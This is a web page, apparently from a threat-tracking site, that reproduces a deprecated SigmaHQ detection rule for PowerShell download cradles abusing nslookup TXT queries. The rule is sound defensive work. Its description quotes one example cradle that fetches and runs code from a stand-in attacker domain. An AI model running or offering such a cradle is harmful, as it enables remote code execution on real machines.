Sigma rule: Nslookup PwSh Download Cradle

A detection rule from the SigmaHQ repository, shown as its author published it. Dataset version ref-f3266bd0e90a, updated 2022-12-14T00:00:00.000Z.

SigmaHQ marks this rule as deprecated.

Rule

Title
Nslookup PwSh Download Cradle
Status
deprecated
Level
medium
Author
Zach Mathis (@yamatosecurity)
Date
2022/09/06
Modified
2022/12/14
File
deprecated/windows/proc_creation_win_nslookup_pwsh_download_cradle.yml
Commit
ccbb0369507f796db0b0ae6854c8a2be471b9d84

This rule tries to detect powershell download cradles, e.g. powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]

Log source

product
windows
category
process_creation

Detection

selection:
    ParentImage|endswith: '\powershell.exe'
    Image|contains: nslookup
    CommandLine|contains: '=txt '
condition: selection

Tags

  • attack.command_and_control
  • attack.t1105
  • attack.t1071.004

MITRE ATT&CK ids this rule names

References

Read on 2026-11-03T00:58:21.399Z under licence sigma-drl-1.1@d5f4c36a from https://github.com/SigmaHQ/sigma/blob/ccbb0369507f796db0b0ae6854c8a2be471b9d84/deprecated/windows/proc_creation_win_nslookup_pwsh_download_cradle.yml

Sources and licences

  • SigmaHQ

    "Nslookup PwSh Download Cradle" by Zach Mathis (@yamatosecurity) (SigmaHQ). Rule: https://github.com/SigmaHQ/sigma/blob/ccbb0369507f796db0b0ae6854c8a2be471b9d84/deprecated/windows/proc_creation_win_nslookup_pwsh_download_cradle.yml.
    Licensed under the Detection Rule License (DRL) 1.1: https://github.com/SigmaHQ/Detection-Rule-License

    Detection Rule License (DRL) 1.1

Cite this page

Dragons Eye Ransomware Tracker, "Sigma rule: Nslookup PwSh Download Cradle",
entity page, dataset version ref-f3266bd0e90a, updated 2022-12-14T00:00:00.000Z,
https://ransomware-tracker.com/detections/sigma/72671447-4352-4413-bb91-b85569687135 (accessed 2026-11-03).
Underlying source: SigmaHQ rule 72671447-4352-4413-bb91-b85569687135, commit ccbb0369507f796db0b0ae6854c8a2be471b9d84.

Pages change. The dataset version identifies the data, but no archive of old versions is kept, so this citation cannot be replayed later.